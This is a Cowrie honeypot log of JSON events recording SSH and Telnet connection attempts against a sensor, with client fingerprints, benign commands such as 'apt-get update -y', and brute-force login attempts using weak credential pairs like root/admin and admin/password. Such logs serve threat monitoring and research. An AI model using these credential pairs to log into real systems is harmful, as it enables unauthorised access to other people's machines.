{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:24.156469Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:24.398638Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":25117,"dst_ip":"159.203.135.109","dst_port":22,"session":"844b1b788c35","protocol":"ssh","message":"New connection: 185.71.233.73:25117 (159.203.135.109:22) [session: 844b1b788c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:24.795675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:24.800624Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:25.027330Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:25.627110Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:25.698193Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:26.206897Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:26.467349Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:27.714380Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46422,"dst_ip":"10.17.0.5","dst_port":23,"session":"2defb9ce30e1","protocol":"telnet","message":"New connection: 45.58.127.90:46422 (10.17.0.5:23) [session: 2defb9ce30e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:28.999782Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":33614,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a99b66872be","protocol":"ssh","message":"New connection: 47.239.15.75:33614 (159.203.135.109:22) [session: 0a99b66872be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:30.545016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:30.791322Z","src_ip":"47.239.15.75","session":"0a99b66872be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:31.568681Z","src_ip":"47.239.15.75","session":"0a99b66872be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:39.594665Z","src_ip":"47.239.15.75","session":"0a99b66872be","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:41.679145Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:42.678668Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:42.682600Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:43.747081Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"admin","message":"CMD: admin","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:44.761605Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"admin ","message":"Command not found: admin ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:44.766165Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.4","message":"Connection lost after 26.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:56.983282Z","src_ip":"47.239.15.75","session":"0a99b66872be","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:58.725875Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":59334,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2c448849fd2","protocol":"ssh","message":"New connection: 87.106.29.151:59334 (159.203.135.109:22) [session: c2c448849fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:58.909902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:58.914886Z","src_ip":"87.106.29.151","session":"c2c448849fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.3","message":"Connection lost after 36.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:58.995252Z","src_ip":"185.71.233.73","session":"31bd8bd70804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:59.007533Z","src_ip":"87.106.29.151","session":"c2c448849fd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yh@123456","message":"login attempt [root/yh@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:45:59.408897Z","src_ip":"87.106.29.151","session":"c2c448849fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:00.505564Z","src_ip":"87.106.29.151","session":"c2c448849fd2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","size":718,"shasum":"54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a","duplicate":true,"duration":"34.3","message":"Closing TTY Log: var/lib/cowrie/tty/54ae5b61c5ac6f047b17b36b35584bb3528e46cdb902e4e16f1f560f9be5d83a after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:00.804378Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.2","message":"Connection lost after 36.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:01.033118Z","src_ip":"185.71.233.73","session":"844b1b788c35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.489277362823486,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:07.488942Z","src_ip":"45.58.127.90","session":"2defb9ce30e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":53386,"dst_ip":"159.203.135.109","dst_port":22,"session":"d114f8a03a62","protocol":"ssh","message":"New connection: 198.98.55.71:53386 (159.203.135.109:22) [session: d114f8a03a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:08.906352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:08.911568Z","src_ip":"198.98.55.71","session":"d114f8a03a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:08.917145Z","src_ip":"198.98.55.71","session":"d114f8a03a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anonymous","message":"login attempt [root/anonymous] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:08.970922Z","src_ip":"198.98.55.71","session":"d114f8a03a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:09.983275Z","src_ip":"198.98.55.71","session":"d114f8a03a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":48178,"dst_ip":"159.203.135.109","dst_port":22,"session":"2219141d21e8","protocol":"ssh","message":"New connection: 47.239.15.75:48178 (159.203.135.109:22) [session: 2219141d21e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:21.408572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:22.553337Z","src_ip":"47.239.15.75","session":"2219141d21e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:25.007020Z","src_ip":"47.239.15.75","session":"2219141d21e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43882,"dst_ip":"10.17.0.5","dst_port":23,"session":"791a9f081d12","protocol":"telnet","message":"New connection: 45.58.127.90:43882 (10.17.0.5:23) [session: 791a9f081d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:34.325657Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43898,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2d45cfb584c","protocol":"telnet","message":"New connection: 45.58.127.90:43898 (10.17.0.5:23) [session: c2d45cfb584c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:35.926580Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:47.924891Z","src_ip":"47.239.15.75","session":"2219141d21e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.2","message":"Connection lost after 28.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:49.656744Z","src_ip":"47.239.15.75","session":"2219141d21e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":51276,"dst_ip":"159.203.135.109","dst_port":22,"session":"177870d83209","protocol":"ssh","message":"New connection: 87.106.29.151:51276 (159.203.135.109:22) [session: 177870d83209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:52.850349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:52.859163Z","src_ip":"87.106.29.151","session":"177870d83209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:52.952625Z","src_ip":"87.106.29.151","session":"177870d83209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasd000","message":"login attempt [root/qweasd000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:53.383407Z","src_ip":"87.106.29.151","session":"177870d83209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:54.483437Z","src_ip":"87.106.29.151","session":"177870d83209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.156","src_port":42924,"dst_ip":"159.203.135.109","dst_port":22,"session":"b08fdd5a4112","protocol":"ssh","message":"New connection: 163.7.1.156:42924 (159.203.135.109:22) [session: b08fdd5a4112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:46:55.962501Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46268,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ce79f85997","protocol":"telnet","message":"New connection: 45.58.127.90:46268 (10.17.0.5:23) [session: 91ce79f85997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:00.276908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:47:02.115608Z","src_ip":"163.7.1.156","session":"b08fdd5a4112","protocol":"ssh"}
